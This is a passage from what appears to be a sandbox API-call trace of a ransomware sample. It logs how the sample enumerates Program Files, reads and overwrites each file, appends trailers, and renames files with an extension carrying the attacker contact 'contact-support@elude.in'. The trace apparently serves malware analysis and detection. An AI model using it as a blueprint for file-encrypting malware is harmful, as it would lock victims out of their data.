RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa7a1) returned 0x73270a8 [0219.560] GetProcessHeap () returned 0x630000 [0219.560] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa7a1) returned 0x7331858 [0219.560] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.560] ReadFile (in: hFile=0x69c, lpBuffer=0x73270a8, nNumberOfBytesToRead=0xa780, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73270a8*, lpNumberOfBytesRead=0x41fff0c*=0xa780, lpOverlapped=0x0) returned 1 [0224.557] GetProcessHeap () returned 0x630000 [0224.557] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176c28 [0224.558] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.558] WriteFile (in: hFile=0x69c, lpBuffer=0x7331858*, nNumberOfBytesToWrite=0xa780, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7331858*, lpNumberOfBytesWritten=0x41fff0c*=0xa780, lpOverlapped=0x0) returned 1 [0225.235] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.235] WriteFile (in: hFile=0x69c, lpBuffer=0x733bfd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x733bfd7*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.750] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.750] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.750] CloseHandle (hObject=0x69c) returned 1 [0225.750] GetProcessHeap () returned 0x630000 [0225.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7331858 | out: hHeap=0x630000) returned 1 [0225.750] GetProcessHeap () returned 0x630000 [0225.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73270a8 | out: hHeap=0x630000) returned 1 [0225.752] GetProcessHeap () returned 0x630000 [0225.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176c28 | out: hHeap=0x630000) returned 1 [0226.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c81c0c0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa7bc, dwReserved0=0xb307496, dwReserved1=0x73270a0, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5200 [0226.612] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0226.612] Sleep (dwMilliseconds=0x1) [0226.650] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\en-US\\wmpnetwk.exe.mui", len=0x3c | out: pbstr=0x41fff7c*="C:\\Program Files\\Windows Media Player\\en-US\\wmpnetwk.exe.mui") returned 1 [0226.651] GetProcessHeap () returned 0x630000 [0226.653] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x522c) returned 0x6fe3bb0 [0226.653] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnetwk.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnetwk.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.657] Sleep (dwMilliseconds=0x1) [0226.670] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\MsSense.exe.mui", len=0x52 | out: pbstr=0x41fff7c*="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\MsSense.exe.mui") returned 1 [0226.670] GetProcessHeap () returned 0x630000 [0226.670] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5204) returned 0x6fe3bb0 [0226.671] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\MsSense.exe.mui" (normalized: "c:\\program files\\windows defender advanced threat protection\\en-us\\mssense.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.678] Sleep (dwMilliseconds=0x1) [0226.689] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\AmMonitoringInstall.mof", len=0x39 | out: pbstr=0x41fff7c*="C:\\Program Files\\Windows Defender\\AmMonitoringInstall.mof") returned 1 [0226.689] GetProcessHeap () returned 0x630000 [0226.689] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51b0) returned 0x6fe3bb0 [0226.690] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\AmMonitoringInstall.mof" (normalized: "c:\\program files\\windows defender\\ammonitoringinstall.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.695] Sleep (dwMilliseconds=0x1) [0226.699] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl", len=0x3f | out: pbstr=0x41fff7c*="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl") returned 1 [0226.699] GetProcessHeap () returned 0x630000 [0226.699] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x518c) returned 0x6fe3bb0 [0226.699] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0226.719] CloseHandle (hObject=0x4c0) returned 1 [0226.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.720] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.001.etl"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.001.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.886] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.886] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd8cc7f2a, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0x1dbed2ff, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.001.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UN37EC~1.FIR")) returned 0x6d5200 [0226.886] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0226.886] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.001.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0226.886] GetProcessHeap () returned 0x630000 [0226.886] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x748d9f8 [0226.886] GetProcessHeap () returned 0x630000 [0226.886] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7498e28 [0226.886] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.887] ReadFile (in: hFile=0x4c0, lpBuffer=0x748d9f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x748d9f8*, lpNumberOfBytesRead=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.111] GetProcessHeap () returned 0x630000 [0233.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0233.111] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.111] WriteFile (in: hFile=0x4c0, lpBuffer=0x7498e28*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7498e28*, lpNumberOfBytesWritten=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.750] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.750] WriteFile (in: hFile=0x4c0, lpBuffer=0x74a4227*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a4227*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.971] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.971] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.971] CloseHandle (hObject=0x4c0) returned 1 [0234.553] GetProcessHeap () returned 0x630000 [0234.556] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7498e28 | out: hHeap=0x630000) returned 1 [0234.556] GetProcessHeap () returned 0x630000 [0234.556] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x748d9f8 | out: hHeap=0x630000) returned 1 [0234.556] GetProcessHeap () returned 0x630000 [0234.556] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0235.663] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.663] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd8cc7f2a, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0x516854c4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0xb307496, dwReserved1=0x748d9f0, cFileName="UniversalNotificationPlatform.001.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UN37EC~1.FIR")) returned 0x6d53c0 [0235.663] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0235.664] Sleep (dwMilliseconds=0x1) [0235.673] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\volume.scale-180.png", len=0x68 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\volume.scale-180.png") returned 1 [0235.673] GetProcessHeap () returned 0x630000 [0235.673] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fe8) returned 0x6fe3bb0 [0235.673] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\volume.scale-180.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\app\\volume.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.677] Sleep (dwMilliseconds=0x1) [0235.719] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\vine.scale-100.png", len=0x66 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\vine.scale-100.png") returned 1 [0235.719] GetProcessHeap () returned 0x630000 [0235.719] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fd4) returned 0x6fe3bb0 [0235.720] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\vine.scale-100.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\app\\vine.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.734] Sleep (dwMilliseconds=0x1) [0235.872] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x41fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgrade.xml") returned 1 [0235.872] GetProcessHeap () returned 0x630000 [0235.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fa4) returned 0x6fe3bb0 [0235.873] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0235.873] CloseHandle (hObject=0x430) returned 1 [0235.873] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.873] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.988] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.988] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5340 [0235.988] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0235.988] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0235.989] GetProcessHeap () returned 0x630000 [0235.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x666188 [0235.989] GetProcessHeap () returned 0x630000 [0235.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665318 [0235.989] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.989] ReadFile (in: hFile=0x430, lpBuffer=0x666188, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x666188*, lpNumberOfBytesRead=0x41fff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.087] GetProcessHeap () returned 0x630000 [0236.087] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0236.087] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.087] WriteFile (in: hFile=0x430, lpBuffer=0x665318*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x665318*, lpNumberOfBytesWritten=0x41fff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.087] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.087] WriteFile (in: hFile=0x430, lpBuffer=0x665537*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x665537*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.087] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.087] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.087] CloseHandle (hObject=0x430) returned 1 [0236.087] GetProcessHeap () returned 0x630000 [0236.087] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665318 | out: hHeap=0x630000) returned 1 [0236.087] GetProcessHeap () returned 0x630000 [0236.087] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666188 | out: hHeap=0x630000) returned 1 [0236.087] GetProcessHeap () returned 0x630000 [0236.087] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0236.087] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52aa3454, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x41ffd20, dwReserved1=0x666188, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4e40 [0236.088] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0236.088] Sleep (dwMilliseconds=0x1) [0236.154] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Uninstall Information\\fpos.exe", len=0x2f | out: pbstr=0x41fff7c*="C:\\Program Files\\Uninstall Information\\fpos.exe") returned 1 [0236.154] GetProcessHeap () returned 0x630000 [0236.154] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f50) returned 0x6fe3bb0 [0236.154] CreateFileW (lpFileName="C:\\Program Files\\Uninstall Information\\fpos.exe" (normalized: "c:\\program files\\uninstall information\\fpos.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.154] Sleep (dwMilliseconds=0x1) [0236.205] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml", len=0x5b | out: pbstr=0x41fff7c*="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml") returned 1 [0236.205] GetProcessHeap () returned 0x630000 [0236.205] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f34) returned 0x6fe3bb0 [0236.205] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.209] Sleep (dwMilliseconds=0x1) [0236.231] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", len=0x4c | out: pbstr=0x41fff7c*="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml") returned 1 [0236.231] GetProcessHeap () returned 0x630000 [0236.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f30) returned 0x6fe3bb0 [0236.231] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0236.233] CloseHandle (hObject=0x430) returned 1 [0236.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0239.495] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0239.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe797d8f5, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e9367d, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, 